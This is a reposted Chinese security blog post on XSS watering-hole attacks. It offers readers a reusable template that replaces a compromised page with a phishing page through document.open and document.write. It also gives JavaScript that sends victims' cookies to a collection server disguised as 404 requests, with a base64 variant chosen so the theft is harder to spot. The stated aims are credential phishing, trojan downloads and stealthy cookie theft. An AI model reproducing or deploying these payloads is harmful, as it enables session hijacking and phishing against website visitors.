再谈xss水坑攻击

admin 2025年5月3日20:46:27评论2 views字数 2340阅读7分48秒阅读模式

0x00 前言

其实这篇文章我早在过年那会就已经开始写了,一直拖到现在是因为没太多时间继续往下写。在之前我是发过一篇浅谈xss水坑攻击的文章,今天想给大家带来的是我写的一个xss水坑攻击的攻击模板以及其他的一些水坑攻击的思路。

注:这里我需要提前给大家阐明一下,下面我提供给大家的攻击模板并不是那种可以直接用的,需要大家自行完善钓鱼页面代码,我只负责把需要实现的效果实现出来,具体看下文。

0x01 xss水坑攻击模板

应该有读者朋友知道,我很久之前是在轩白的公众号发过一篇【相关分享】某edu恶意链接分析,在这篇文章中我分析了一个恶意链接,攻击者是通过网站存在的dom xss漏洞构造的这个恶意链接,当受害者访问这个恶意链接时就会自动外链攻击者的js,从而导致钓鱼。整个xss利用过程极为精彩,至少对我来说有很大收获,感兴趣的读者朋友可以看一下。后来某天我突然意识到这其中有些利用思路同样也可以用到xss水坑攻击上,这就需要回到我很久之前发的浅谈xss水坑攻击(下文简称浅谈)那篇文章上了,在这篇文章中我提到过一个弹崩溃页下载马儿的钓鱼方式:

再谈xss水坑攻击

相关资料提供的效果:

再谈xss水坑攻击

点击立即修复后就会自动下载马儿,但重点不是这里,重点是这段js直接将网页换成了空白页面,在我那篇分析恶意链接的文章中攻击者同样也是这么做的,说实话我觉得这种做法特别好,代码少并且也方便我们更改钓鱼页面,所以我认为这种做法很适合用到xss水坑攻击上,不过其实我推荐这么做的原因不止这几点,在我浅谈的那篇文章中,我给大家展示了我写的一个针对xss水坑攻击的demo,效果:

再谈xss水坑攻击

大家可以看到效果其实并没有那么好,当然也可能是我这段代码写的没那么好,当时我是想写出一个全通用的xss水坑攻击模板,我想实现的效果就是在原网页的顶层当中弹出我们的钓鱼登录框,但我后来发现其实并没有我想的那么简单,我们需要考虑到多种因素,比如登录框的样式是否和原网页搭配、替换掉背景颜色后会不会显得原网站页面颜色不太自然、背景颜色有没有全部替换成功、插入脚本后有没有成功弹出钓鱼登录框等等,据我来看如果真的想写出能实现这种效果的xss水坑攻击脚本,那么是需要我们去根据实际目标站点进行编写攻击脚本,是需要我们去搭配原目标站点的样式或颜色等等,以此来看的话又耗时又耗力,所以我在这里建议大家如果真的想要一种全通用的xss水坑攻击模板,那么先将原页面替换为空白页面,然后再将钓鱼页面的代码替换进去这种方案会是一个不错的选择。

接下来我给大家看一下在分析恶意链接的那篇文章中,攻击者是怎么实现将原页面替换为空白页面的:

再谈xss水坑攻击

攻击者使用了下面这段代码将原页面替换为了空白页:

document.open("text/html""replace");

随后调用了document的write方法将得到的html写入到了文档中:

再谈xss水坑攻击

下面这一长段就是替换后的页面代码,所以我想提供给大家的xss水坑攻击模板就是下面这两段代码:

var doc = document.open("text/html""replace");doc.write(code); //code替换为钓鱼页面代码即可

调用document.open后返回的是document:

再谈xss水坑攻击

使用时将code替换为页面代码即可,以上就是我想提供给大家的xss水坑攻击通用模板。

0x02 善用404

几个月之前以及昨天我更新了一下Clubk:

再谈xss水坑攻击

这段函数可以让Flask处理404错误,函数中我实现了当用户请求了不存在的资源时,服务端就会记录用户请求的地址以及用户ip等其他信息。写这段代码是因为之前Clubk默认接受路由是request

再谈xss水坑攻击

说实话这个接口名确实可能有点引人注意,不免让人浮想联翩,所以我觉得如果将受害者请求地址改为一个不存在的地址,这样可能会好很多,不会让受害者太过于警觉,我们来看一下效果,js:

    !function () {        o = new XMLHttpRequest;        o.open("get""http://127.0.0.1:5000/" + JSON.stringify(document.cookie));        o.send()    }();

请求:

再谈xss水坑攻击
再谈xss水坑攻击

响应:

再谈xss水坑攻击

服务端接受:

再谈xss水坑攻击

这样我们就能通过让用户请求一个不存在的资源的方式去拿到用户的cookie,也不会让受害者警觉,因为这毕竟是一个404请求。当然了,大家如果觉得请求路由还是太过于明显,毕竟我是直接将cookie拼接到了地址后,也可以先base64编码一下,例如:

    !function () {        o = new XMLHttpRequest;        o.open("get""http://127.0.0.1:5000/" + btoa(JSON.stringify(document.cookie)));        o.send()    }();

请求:

再谈xss水坑攻击

base64解码:

再谈xss水坑攻击

这样就很难看出来了。

0x03 碎碎念

前阵子我抽了些时间一个人出去走了走,说实话给我带来了很多不一样的感受,我好像真的太长时间没有认真的感受过生活了,上学以来我的大部分时间都是坐在电脑前,导致我忽略了很多生活中的美好,我依旧记得那天我独自去青龙湖公园,因为刚下过雨路上人很少,我很喜欢这种清净的氛围。这一路我想了很多,从当下到未来,从个人到家庭,我从没有像当时那样清醒,这都源于我在恰好的时间、恰好的天气来到了青龙湖公园。最后我想建议大家的是,希望大家能多做一些能让自己舒适的事,能让自己清醒的事,关注我的读者朋友可能很多都是已经工作了的师傅,可能没有太多时间去外面散步舒心,只能希望大家能多保重自己的身体,能多爱自己一些。

原文始发于微信公众号(Spade sec):再谈xss水坑攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月3日20:46:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   再谈xss水坑攻击https://cn-sec.com/archives/4027101.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息